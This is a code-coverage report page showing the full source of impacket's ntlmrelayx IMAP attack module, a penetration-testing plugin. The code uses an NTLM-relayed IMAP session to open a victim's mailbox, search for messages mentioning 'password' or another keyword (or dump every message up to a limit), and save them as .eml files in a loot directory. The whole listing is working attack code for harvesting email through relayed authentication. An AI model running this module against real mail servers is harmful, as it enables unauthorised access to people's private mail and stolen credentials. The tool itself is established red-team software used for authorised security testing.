Coverage for /root/GitHubProjects/impacket/impacket/examples/ntlmrelayx/attacks/imapattack.py: 12%

# Coverage for /root/GitHubProjects/impacket/impacket/examples/ntlmrelayx/attacks/imapattack.py : 12%

## 46 statements

Hot-keys on this page

r m x p toggle line displays

j k next/prev highlighted chunk

0 (zero) top of page

1 (one) first highlighted chunk

1# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.

2#

3# This software is provided under under a slightly modified version

4# of the Apache Software License. See the accompanying LICENSE file

5# for more information.

6#

7# IMAP Attack Class

8#

9# Authors:

10# Alberto Solino (@agsolino)

11# Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)

12#

13# Description:

14# IMAP protocol relay attack

15#

16# ToDo:

17#

18 import re

19 import os

20 from impacket import LOG

21 from impacket.examples.ntlmrelayx.attacks import ProtocolAttack

22

23 PROTOCOL_ATTACK_CLASS = "IMAPAttack"

24

25 class IMAPAttack(ProtocolAttack):

26 """

27 This is the default IMAP(s) attack. By default it searches the INBOX imap folder

28 for messages with "password" in the header or body. Alternate keywords can be specified

29 on the command line. For more advanced attacks, consider using the SOCKS feature.

30 """

31 PLUGIN_NAMES = ["IMAP", "IMAPS"]

32 def run(self):

33 #Default action: Search the INBOX

34 targetBox = self.config.mailbox

35 result, data = self.client.select(targetBox,True) #True indicates readonly

36 if result != 'OK':

37 LOG.error('Could not open mailbox %s: %s' % (targetBox, data))

38 LOG.info('Opening mailbox INBOX')

39 targetBox = 'INBOX'

40 result, data = self.client.select(targetBox,True) #True indicates readonly

41 inboxCount = int(data[0])

42 LOG.info('Found %s messages in mailbox %s' % (inboxCount, targetBox))

43 #If we should not dump all, search for the keyword

44 if not self.config.dump_all:

45 result, rawdata = self.client.search(None, 'OR', 'SUBJECT', '"%s"' % self.config.keyword, 'BODY', '"%s"' % self.config.keyword)

46 #Check if search worked

47 if result != 'OK':

48 LOG.error('Search failed: %s' % rawdata)

49 return

50 dumpMessages = []

51 #message IDs are separated by spaces

52 for msgs in rawdata:

53 dumpMessages += msgs.split(' ')

54 if self.config.dump_max != 0 and len(dumpMessages) > self.config.dump_max:

55 dumpMessages = dumpMessages[:self.config.dump_max]

56 else:

57 #Dump all mails, up to the maximum number configured

58 if self.config.dump_max == 0 or self.config.dump_max > inboxCount:

59 dumpMessages = list(range(1, inboxCount+1))

60 else:

61 dumpMessages = list(range(1, self.config.dump_max+1))

62

63 numMsgs = len(dumpMessages)

64 if numMsgs == 0:

65 LOG.info('No messages were found containing the search keywords')

66 else:

67 LOG.info('Dumping %d messages found by search for "%s"' % (numMsgs, self.config.keyword))

68 for i, msgIndex in enumerate(dumpMessages):

69 #Fetch the message

70 result, rawMessage = self.client.fetch(msgIndex, '(RFC822)')

71 if result != 'OK':

72 LOG.error('Could not fetch message with index %s: %s' % (msgIndex, rawMessage))

73 continue

74

75 #Replace any special chars in the mailbox name and username

76 mailboxName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', targetBox)

77 textUserName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', self.username)

78

79 #Combine username with mailboxname and mail number

80 fileName = 'mail_' + textUserName + '-' + mailboxName + '_' + str(msgIndex) + '.eml'

81

82 #Write it to the file

83 with open(os.path.join(self.config.lootdir,fileName),'w') as of:

84 of.write(rawMessage[0][1])

85 LOG.info('Done fetching message %d/%d' % (i+1,numMsgs))

86

87 #Close connection cleanly

88 self.client.logout()